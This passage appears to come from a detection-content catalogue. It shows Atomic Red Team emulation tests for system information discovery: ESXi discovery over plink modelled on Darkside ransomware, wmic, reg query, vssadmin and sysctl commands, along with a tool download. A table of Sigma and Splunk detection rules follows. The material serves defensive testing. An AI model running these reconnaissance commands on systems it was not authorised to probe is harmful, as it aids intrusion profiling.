Description

Check if plink is available.

Check Prereq Commands

if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"

GUID2040405c-eea6-4c1c-aef3-c2acc430fac9

32 ESXi - Darkside system information discovery windows command_prompt — 1 —

Darkside ransomware utilises various ESXCLI commands to obtain information about the ESXi Host. Reference

Inputs

Name	Description	Type	Default Value
vm_host	Specify the host name or IP of the ESXi Server	string	atomic.local
vm_pass	Specify the privilege user password on ESXi Server	string	pass
vm_user	Specify the privilege user account on ESXi Server	string	root
cli_script	Path to file containing darkside ransomware discovery commands	path	PathToAtomicsFolder\T1082\src\esx_darkside_discovery.txt
plink_file	Path to Plink	path	PathToAtomicsFolder\..\ExternalPayloads\plink.exe

Attack Commandsrun with command_prompt

echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"

Dependenciesrun with powershell

Description

Check if plink is available.

Check Prereq Commands

if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"

GUIDf89812e5-67d1-4f49-86fa-cbc6609ea86a

33 sysctl to gather macOS hardware info macos sh — — —

Gets the macOS hardware information, which can be used to determine whether the target macOS host is running on a physical or virtual machine. sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc.

Attack Commandsrun with sh

sysctl -n hw.model

GUIDc8d40da9-31bd-47da-a497-11ea55d1ef6c

34 operating system discovery windows powershell — — —

operating system discovery using get-ciminstance https://petri.com/getting-operating-system-information-powershell/

Attack Commandsrun with powershell

Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null

GUID70e13ef4-5a74-47e4-9d16-760b41b0e2db

35 Check OS version via "ver" command windows command_prompt — — —

Ver command shows information about os version.

Attack Commandsrun with command_prompt

ver

GUIDf6ecb109-df24-4303-8d85-1987dbae6160

36 Display volume shadow copies with "vssadmin" windows command_prompt Required — —

The command shows all available volume shadow copies, along with their creation time and location.

Attack Commandsrun with command_promptelevation required (root or admin)

vssadmin.exe list shadows

GUID7161b085-816a-491f-bab4-d68e974b7995

37 Identify System Locale and Regional Settings with PowerShell windows command_prompt — — Yes

This action demonstrates how an attacker might gather a system's region and language settings using PowerShell, which could aid in profiling the machine's location and user language preferences. The command outputs system locale details to a temporary file for further analysis.

Attack Commandsrun with command_prompt

powershell.exe -c "Get-Culture | Format-List | Out-File -FilePath %TMP%\a.txt"

Cleanup Commands

cmd.exe /c del "%TMP%\a.txt"

GUIDce479c1a-e8fa-42b2-812a-96b0f2f4d28a

38 Enumerate Available Drives via gdr windows command_prompt — — —

This test simulates an attacker attempting to list the available drives on the system to gather data about file storage locations.

Attack Commandsrun with command_prompt

powershell.exe -c "gdr -PSProvider 'FileSystem'"

GUIDc187c9bc-4511-40b3-aa10-487b2c70b6a5

39 Discover OS Product Name via Registry windows command_prompt — — —

Identify the Operating System Product Name via registry with the reg.exe command. Upon execution, the OS Product Name will be displayed.

Attack Commandsrun with command_prompt

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName

GUIDbe3b5fe3-a575-4fb8-83f6-ad4a68dd5ce7

40 Discover OS Build Number via Registry windows command_prompt — — —

Identify the Operating System Build Number via registry with the reg.exe command. Upon execution, the OS Build Number will be displayed.

Attack Commandsrun with command_prompt

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentBuildNumber

GUIDacfcd709-0013-4f1e-b9ee-bc1e7bafaaec

41 Get System Hardware UUID Via wmic.exe windows powershell — — —

Upon execution, displays the system's hardware UUID. Used in BlackCat ransomware to generate a recovery URL.

Attack Commandsrun with powershell

wmic csproduct get UUID

GUIDcd6fc00d-ad6e-431c-832c-33e97ab9218f

Tests from Atomic Red Team (MIT licence) · technique definition

Select	Description	Category	Status	Event	OS	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs
	Detects user data export activity.	Generic	test	cloud_audit	-	Bitbucket Audit · Bitbucket	Collection Data from Information Repositories Reconnaissance Gather Victim Org Information Identify Roles Discovery System Information Discovery	-	medium	Muhammad Faisal (@faisalusuf)	2024-02-25	—	5259cbf2-0a75-48bf-b57a-c54d6fabaef3
	Detects user permission data export attempt.	Generic	test	cloud_audit	-	Bitbucket Audit · Bitbucket	Collection Data from Information Repositories Reconnaissance Gather Victim Org Information Identify Roles Discovery System Information Discovery	-	medium	Muhammad Faisal (@faisalusuf)	2024-02-25	—	87cc6698-3e07-4ba2-9b43-a85a73e151e2
Splunk	This analytic detects potential reconnaissance activities on Cisco ASA devices by identifying execution of multiple information-gathering "show" commands within a short timeframe. (...)	Anomaly	stable	firewall	-	Cisco Secure Firewall · Cisco	Reconnaissance Gather Victim Network Information Domain Properties IP Addresses Discovery System Information Discovery	-	medium	Nasreddine Bencherchali, Splunk	2025-11-21	2026-05-13	6e9d4f7a-3c8b-4a9e-8d2f-7b5c9e1a6f3d
	Find information about network devices that is not stored in config files	Generic	test	authentication	-	Cisco AAA · Cisco	Discovery File and Directory Discovery Discovery Password Policy Discovery Discovery Process Discovery Discovery Remote System Discovery Discovery System Information Discovery Discovery System Network Configuration Discovery Discovery System Network Connections Discovery Discovery System Owner/User Discovery Discovery System Time Discovery	-	low	Austin Clark	2019-08-12	2023-01-04	9705a6a1-6db6-4a16-a987-15b7151e299b
Splunk	This analytic detects bursts of Cisco IOS or NX-OS discovery commands associated with Salt Typhoon tradecraft. (...)	Anomaly	stable	network_device	-	Cisco IOS · Cisco	Reconnaissance Gather Victim Network Information Discovery System Information Discovery Discovery System Network Configuration Discovery	-	medium	Nasreddine Bencherchali	2026-05-19	2026-05-20	71ac5328-2364-40cf-8381-92b8dc531399
	Detects the use of the redirection character ">" to redirect information on the command line. (...)	Hunting	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery System Information Discovery	-	low	frack113	2022-01-22	2024-03-19	4f4eaa9f-5ad4-410c-a4be-bc6132b0175a
	Detects potential container discovery via listing of certain kernel features in the "/proc" virtual (...)	Generic	test	process_creation	linux	Sysmon	Discovery System Information Discovery	-	low	Seth Hanford	2023-08-23	—	746c86fb-ccda-4816-8997-01386263acc4
Splunk	The following analytic identifies specific GET or HEAD requests to web servers that indicate reconnaissance attempts to find vulnerable JBoss servers. (...)	Generic	experimental	webserver	-	-	Initial Access, Persistence External Remote Services Discovery System Information Discovery	-	medium	Bhavin Patel, Splunk	2020-04-29	2026-05-13	104658f4-afdc-499e-9719-17243f982681	-
	Detects listing or file reading of ".dockerenv" which can be a sing of potential container discovery	Generic	test	process_creation	linux	Sysmon	Discovery System Information Discovery	-	low	Seth Hanford	2023-08-23	—	11701de9-d5a5-44aa-8238-84252f131895
	Domain user and group enumeration via network reconnaissance. (...)	Unsupported	unsupported	-	-	DCE/RPC · Zeek	Discovery Account Discovery Domain Account Discovery System Information Discovery	-	medium	Nate Guagenti (@neu5ron), Open Threat Research (OTR)	2020-05-03	2023-03-24	66a0bdc6-ee04-441a-9125-99d2eb547942
Splunk	This detection identifies the use of ESXCLI system-level commands that retrieve configuration details. (...)	Generic	stable	-	esxi	VMware ESXi · VMware	Discovery System Information Discovery	-	medium	Raven Tait, Splunk	2025-07-11	2026-05-13	b4d4217a-6673-4fb6-837d-07a522bdf9f7	-
	Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, ker (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery File and Directory Discovery Discovery Process Discovery Discovery Query Registry Discovery System Information Discovery Discovery System Service Discovery	-	high	Florian Roth (Nextron Systems), Nasreddine Bencherchali	2022-10-10	2024-11-23	fca949cc-79ca-446e-8064-01aa7e52ece5
	WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery Account Discovery Discovery Network Service Discovery Discovery System Information Discovery	-	high	Georg Lauenstein (sure[secure])	2022-09-19	2023-03-23	98b53e78-ebaf-46f8-be06-421aafd176d9
	Detects commandline keywords indicative of potential usge of the tool WinPwn. (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Privilege Escalation Abuse Elevation Control Mechanism Bypass User Account Control Credential Access Credentials from Password Stores Credentials from Web Browsers Execution Native API Discovery Network Service Discovery Discovery Software Discovery Discovery System Information Discovery Credential Access Unsecured Credentials Credentials In Files	-	high	Swachchhanda Shrawan Poudel	2023-12-04	—	d557dc06-62e8-4468-a8e8-7984124908ce
	Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. (...)	Generic	test	ps_script	windows	PowerShell	Privilege Escalation Abuse Elevation Control Mechanism Bypass User Account Control Credential Access Credentials from Password Stores Credentials from Web Browsers Execution Native API Discovery Network Service Discovery Discovery Software Discovery Discovery System Information Discovery Credential Access Unsecured Credentials Credentials In Files	-	high	Swachchhanda Shrawan Poudel	2023-12-04	—	851fd622-b675-4d26-b803-14bc7baa517a
Splunk	The following analytic identifies the use of the 'kmod' process to list kernel modules on a Linux system. (...)	Anomaly	stable	process_creation	linux	Linux Auditd	Stealth Rootkit Discovery System Information Discovery	-	medium	Teoderick Contreras, Splunk	2024-08-09	2026-05-13	d1b088de-c47a-4572-9339-bdcc26493b32
Splunk	The following analytic identifies the use of the 'kmod' process to list kernel modules on a Linux system. (...)	Anomaly	stable	process_creation	linux	Sysmon	Stealth Rootkit Discovery System Information Discovery	-	medium	Michael Haag, Splunk	2022-06-17	2026-10-09	6df99886-0e04-4c11-8b88-325747419278
	Detects a set of suspicious network related commands often used in recon stages	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery Account Discovery Discovery System Information Discovery	-	high	Florian Roth (Nextron Systems)	2022-02-07	—	e6313acd-208c-44fc-a0ff-db85d572e90e
	Detects the use of grep to identify information about the operating system architecture. (...)	Generic	test	process_creation	linux	Sysmon	Discovery System Information Discovery	-	low	Joseliyo Sanchez, @Joseliyo_Jstnk	2023-06-02	—	d27ab432-2199-483f-a297-03633c05bae6
	Detects listing of the inodes of the "/" directory to determine if the we are running inside of a container.	Generic	test	process_creation	linux	Sysmon	Discovery System Information Discovery	-	low	Seth Hanford	2023-08-23	2025-11-24	43e26eb5-cd58-48d1-8ce9-a273f5d298d8
	Detects the use of grep to discover specific files created by the GobRAT malware	Generic	test	process_creation	linux	Sysmon	Discovery System Information Discovery	-	high	Joseliyo Sanchez, @Joseliyo_Jstnk	2023-06-02	—	e34cfa0c-0a50-4210-9cb3-5632d08eb041
	Detects the execution of WMIC in order to get a list of firewall, antivirus and antispywware products. (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery System Information Discovery Execution Windows Management Instrumentation	-	medium	Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community, Swachchhanda Shrawan Poudel (Nextron Systems)	2023-02-14	2025-03-17	e568650b-5dcd-4658-8f34-ded0b1e13992
	Detects potential suspicious behaviour using secedit.exe. (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Credential Access, Collection Adversary-in-the-Middle Persistence, Privilege Escalation Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Port Monitors Active Setup Defense Impairment Disable or Modify Tools Disable or Modify Windows Event Log Persistence, Privilege Escalation Event Triggered Execution Netsh Helper DLL Accessibility Features Stealth Hide Artifacts Hidden Users Execution, Stealth Hijack Execution Flow Path Interception by PATH Environment Variable Persistence, Defense Impairment, Credential Access Modify Authentication Process Password Filter DLL Persistence Server Software Component Terminal Services DLL Discovery System Information Discovery	-	medium	Janantha Marasinghe	2022-11-18	2022-12-30	c2c76b77-32be-4d1f-82c9-7e544bdfe0eb
	Detects the execution of System Informer, a task manager tool to view and manipulate processes, kern (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Persistence, Privilege Escalation Create or Modify System Process Stealth Hide Artifacts Discovery System Information Discovery	-	medium	Florian Roth (Nextron Systems)	2023-05-08	2024-11-23	5722dff1-4bdd-4949-86ab-fbaf707e767a
	Detects execution of a set of builtin commands often used in recon stages by different attack groups	Unsupported	unsupported	process_creation	windows	Sysmon · WinEventLog Security	Discovery Account Discovery Discovery System Information Discovery	-	medium	Florian Roth (Nextron Systems), Markus Neis	2018-08-22	2023-02-24	2887e914-ce96-435f-8105-593937e90757
	Detects Silence downloader. (...)	Unsupported	unsupported	process_creation	windows	Sysmon · WinEventLog Security	Persistence, Privilege Escalation Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Discovery Process Discovery Discovery System Information Discovery Discovery System Network Configuration Discovery Discovery System Owner/User Discovery	-	high	Alina Stepchenkova, Roman Rezvukhin, Group-IB, oscd.community	2019-11-01	2023-02-24	170901d1-de11-4de7-bccb-8fa13678d857	-
	Use of hostname to get information	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery System Information Discovery	-	low	frack113	2022-01-01	—	7be5fb68-f9ef-476d-8b51-0256ebece19e
	Detects usage of the "systeminfo" command to retrieve information	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery System Information Discovery	-	low	frack113	2022-01-01	2022-07-14	0ef56343-059e-4cb6-adc1-4c3c967c5e46
	Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery System Information Discovery	-	high	Florian Roth (Nextron Systems)	2021-12-28	—	7124aebe-4cd7-4ccb-8df0-6d6b93c96795
	Use of reg to get MachineGuid information	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery System Information Discovery	-	low	frack113	2022-01-01	—	f5240972-3938-4e56-8e4b-e33893176c1f
	Detects system information discovery commands	Generic	stable	file_event	linux	Linux Auditd	Discovery System Information Discovery	-	informational	Ömer Günal, oscd.community	2020-10-08	2022-11-26	1f358e2e-cb63-43c3-b575-dfb072a6814f
	An adversary might use WMI to discover information about the system, such as the volume name, size, (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery System Information Discovery Execution Windows Management Instrumentation	-	medium	Stephen Lincoln '@slincoln-aiq' (AttackIQ)	2024-02-02	2025-10-20	c79da740-5030-45ec-a2e0-479e824a562c
	Detects use of the sysinfo system call in Linux, which provides a snapshot of key system statistics such as uptime, load averages, memory usage, and the number of running processes. (...)	Generic	experimental	process_creation	linux	Linux Auditd	Discovery Process Discovery Discovery System Information Discovery	-	low	Milad Cheraghi	2025-05-30	2025-12-05	b207d563-a1d9-4275-b349-77d1eb55aa6d
	Detects system information discovery commands	Generic	stable	process_creation	linux	Sysmon	Discovery System Information Discovery	-	informational	Ömer Günal, oscd.community	2020-10-08	2021-09-14	42df45e7-e6e9-43b5-8f26-bec5b39cc239
	Detects System Information Discovery commands	Generic	test	file_event	linux	Linux Auditd	Discovery System Information Discovery	-	low	Pawel Mazur	2021-09-03	2023-03-06	f34047d9-20d3-4e8b-8672-0a35cc50dc71
Splunk	The following analytic identifies system information discovery techniques, such as the execution of commands like `wmic qfe`, `systeminfo`, and `hostname`. (...)	Generic	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery System Information Discovery	-	medium	Patrick Bareiss, Splunk	2020-10-14	2026-10-09	8e99f89e-ae58-4ebc-bf52-ae0b1a277e72
	Detects the use of "ioreg" which will show I/O Kit registry information. (...)	Generic	test	process_creation	macos	-	Discovery System Information Discovery	-	medium	Joseliyo Sanchez, @Joseliyo_Jstnk	2023-12-20	2024-01-02	2d5e7a8b-f484-4a24-945d-7f0efd52eab0
	Detects the use of "sw_vers" for system information discovery	Generic	test	process_creation	macos	-	Discovery System Information Discovery	-	medium	Joseliyo Sanchez, @Joseliyo_Jstnk	2023-12-20	—	5de06a6f-673a-4fc0-8d48-bcfe3837b033
	Detects the execution of "system_profiler" with specific "Data Types" that have been seen being used by threat actors and malware. (...)	Generic	test	process_creation	macos	-	Discovery System Information Discovery Stealth, Discovery Virtualization/Sandbox Evasion System Checks	-	medium	Stephen Lincoln `@slincoln_aiq` (AttackIQ)	2024-01-02	—	4809c683-059b-4935-879d-36835986f8cf
	Detects attempts to query system information directly from the Windows Registry.	Generic	experimental	process_creation	windows	Sysmon · WinEventLog Security	Discovery System Information Discovery	-	low	lazarg	2025-06-12	2025-10-25	0022869c-49f7-4ff2-ba03-85ac42ddac58
	Detects the execution of "sysctl" with specific arguments that have been used by threat actors and malware. (...)	Generic	test	process_creation	macos	-	Discovery System Information Discovery Stealth, Discovery Virtualization/Sandbox Evasion System Checks	-	medium	Pratinav Chandra	2024-05-27	—	6ff08e55-ea53-4f27-94a1-eff92e6d9d5c
	Detects the use of the WMI command-line (WMIC) utility to identify and display various system inform (...)	Hunting	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery System Information Discovery	-	low	Joseliyo Sanchez, @Joseliyo_Jstnk	2023-12-19	2024-01-15	d85ecdd7-b855-4e6e-af59-d9c78b5b861e
	Detects the use of the WMI command-line (WMIC) utility to identify and display various system inform (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery System Information Discovery	-	medium	TropChaud	2023-01-26	2023-12-19	9d5a1274-922a-49d0-87f3-8c653483b909
Splunk	The following analytic detects the execution of suspicious processes on systems identified as web servers. (...)	Generic	experimental	process_creation	windows	Sysmon	Discovery System Information Discovery	-	medium	David Dorsey, Splunk	2019-10-16	2026-05-13	ec3b7601-689a-4463-94e0-c9f45638efb9	-
Splunk	The following analytic identifies the execution of the Windows built-in tool FSUTIL with the "FSINFO" or "Volume" parameters, in order to discover file system and disk information. (...)	Anomaly	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery System Information Discovery	-	medium	Teoderick Contreras, Nasreddine Bencherchali, Splunk	2022-12-06	2026-05-13	2181f261-93e6-4166-a5a9-47deac58feff
Splunk	The following analytic identifies four or more distinct post-exploitation behaviors on a Windows system. (...)	Correlation	stable	-	-	-	Collection Clipboard Data Credential Access OS Credential Dumping Discovery Permission Groups Discovery Discovery Query Registry Discovery System Information Discovery Discovery System Network Configuration Discovery Discovery System Network Connections Discovery Credential Access Unsecured Credentials	-	medium	Teoderick Contreras, Splunk	2023-06-14	2026-05-13	edb930df-64c2-4bb7-9b5c-889ed53fb973
Splunk	The following analytic detects the use of PowerShell's Invoke-RestMethod cmdlet to collect geolocation data from ipinfo.io or IP address information from api.ipify.org. (...)	Anomaly	stable	ps_script	windows	PowerShell	Execution Command and Scripting Interpreter PowerShell Discovery System Information Discovery Discovery System Network Configuration Discovery	-	medium	Michael Haag, Splunk	2025-04-17	2026-05-13	8db47e12-9c3e-4f5a-b0d6-e42a1895cd4f
Splunk	The following analytic identifies execution of Sysinternals PsTools and Sysinternals Suit binaries t (...)	Anomaly	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery Network Service Discovery Discovery Remote System Discovery Discovery System Information Discovery	-	medium	Nasreddine Bencherchali	2025-10-24	2026-05-13	9a5f4b3e-1d2b-4c6f-9a8e-3b7d2f5c1a6e
Splunk	Detects the execution of the WinPEAS PowerShell script via default function names used within the script. (...)	Generic	stable	ps_script	windows	PowerShell	Reconnaissance Gather Victim Host Information Software Client Configurations Reconnaissance Gather Victim Network Information Discovery Group Policy Discovery Discovery System Information Discovery Discovery System Network Configuration Discovery Discovery System Owner/User Discovery Discovery System Service Discovery	-	medium	Raven Tait, Splunk	2026-05-05	2026-05-13	5cb208df-e1aa-478d-ab2f-8270ff9999b9
Splunk	The following analytic detects the use of WMIC (Windows Management Instrumentation Command-line) for CPU discovery, often executed with commands such as “wmic cpu get name” This behavior is commonly associated with reconnaissance, where adversaries seek to gather details about system hardware, assess processing power, or determine if the environment is virtualized. (...)	Anomaly	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery System Information Discovery	-	medium	Teoderick Contreras, Splunk	2021-05-07	2026-05-13	6fc46cae-a8c0-4296-b07a-8e52d4322587
Splunk	The following analytic detects the use of Windows Management Instrumentation Command-line (WMIC) for disk drive discovery activities on a Windows system. (...)	Anomaly	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery System Information Discovery	-	medium	Teoderick Contreras, Splunk	2021-05-07	2026-05-13	85e88c80-e4ee-4c65-b02e-3c54d94c7a51
Splunk	The following analytic detects the execution of Windows Management Instrumentation Command-line (WMIC) commands related to memory chip discovery on a Windows system. (...)	Anomaly	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery System Information Discovery	-	medium	Teoderick Contreras, Splunk	2021-05-07	2026-05-13	aecaddaa-5885-4e44-a724-1edd5ecbc79f
Splunk	The following analytic detects the execution of Windows Management Instrumentation Command-line (WMIC) commands used for network interface discovery on a Windows system. (...)	Anomaly	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery System Information Discovery	-	medium	Teoderick Contreras, Splunk	2021-05-07	2026-05-13	cce82b81-c716-4b6c-bac9-33e6a6925cc2
Splunk	The following analytic detects the execution of Windows Management Instrumentation Command-line (WMIC) commands used for computer system discovery on a Windows system. (...)	Anomaly	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery System Information Discovery	-	medium	Teoderick Contreras, Splunk	2021-05-07	2026-10-02	97937ece-cb13-4dbc-9684-c0dc3afd400a